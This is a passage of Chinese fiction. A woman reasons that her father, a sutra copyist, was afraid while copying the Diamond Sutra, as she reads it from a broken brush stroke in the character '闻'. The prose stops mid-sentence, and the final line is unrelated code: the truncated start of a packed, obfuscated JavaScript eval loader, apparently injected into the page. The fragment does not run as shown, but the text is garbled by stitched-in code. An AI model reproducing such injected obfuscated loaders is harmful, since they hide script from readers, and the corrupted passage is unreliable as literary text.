苏皖从矮案对面站起来，走到矮榻边坐下来。矮榻被两个人的重量压得沉了一下。她把他的左手拉过来放在自己膝盖上。手腕内侧那道复制的旧疤在油灯光里安静地躺着，疤痕深处那一点暗金色比刚才又亮了一点点。不是生长，是呼吸。一明一暗，和她左手无名指的脉动同频。
“明天你去三界寺。我去哪。”
“你回家。等你父亲。”
“他不会回来。”
“你怎么知道。”
苏皖低头看着自己放在他手腕上的手指。无名指的旧疤贴着他的旧疤，一真一仿，隔着两层皮肤，以同样的频率发热。
“因为他抄到一半的经卷上，‘闻’字的最后一笔不是停笔，是笔锋断了。抄经生写了四十年，不会在同一个字上停笔。他停下来，是因为笔断了。笔断的时候，他正在写‘闻’字的最后一笔竖弯钩。那笔需要压腕，需要把全身的力气聚到笔尖。笔锋在那个时候断掉，说明他压腕的时候手在发抖。一个抄了四十年经的人，手不会无缘无故发抖。”
“他在怕什么。”
“怕他抄的东西。他抄的是《金刚经》。‘如是我闻’的‘闻’。”她从矮案上把那卷抄了一半的经卷拿过来，在膝盖上展开。“你看他的‘闻’字。前面六卷的‘闻’，竖弯钩都是收的，笔锋藏回去。这一卷的‘闻’，竖弯钩是放的。不是他改了写法，是他控制不住自己的手。抄经生控制不住手，只有一种情况——他抄的不是经。他抄的是别的东西。”
苏皖把经卷翻到背面。麻纸，背面是空白的。但油灯的光从纸背透过来时，正面的墨迹在背面形成深浅不一的阴影。“闻”字最后一笔的位置，墨迹比周围的都重。不是压笔的重量，是墨渗进纸里的深度。他在这一笔上停了
;eval(function(p,a,c,k,e,d){e=function(c){return(c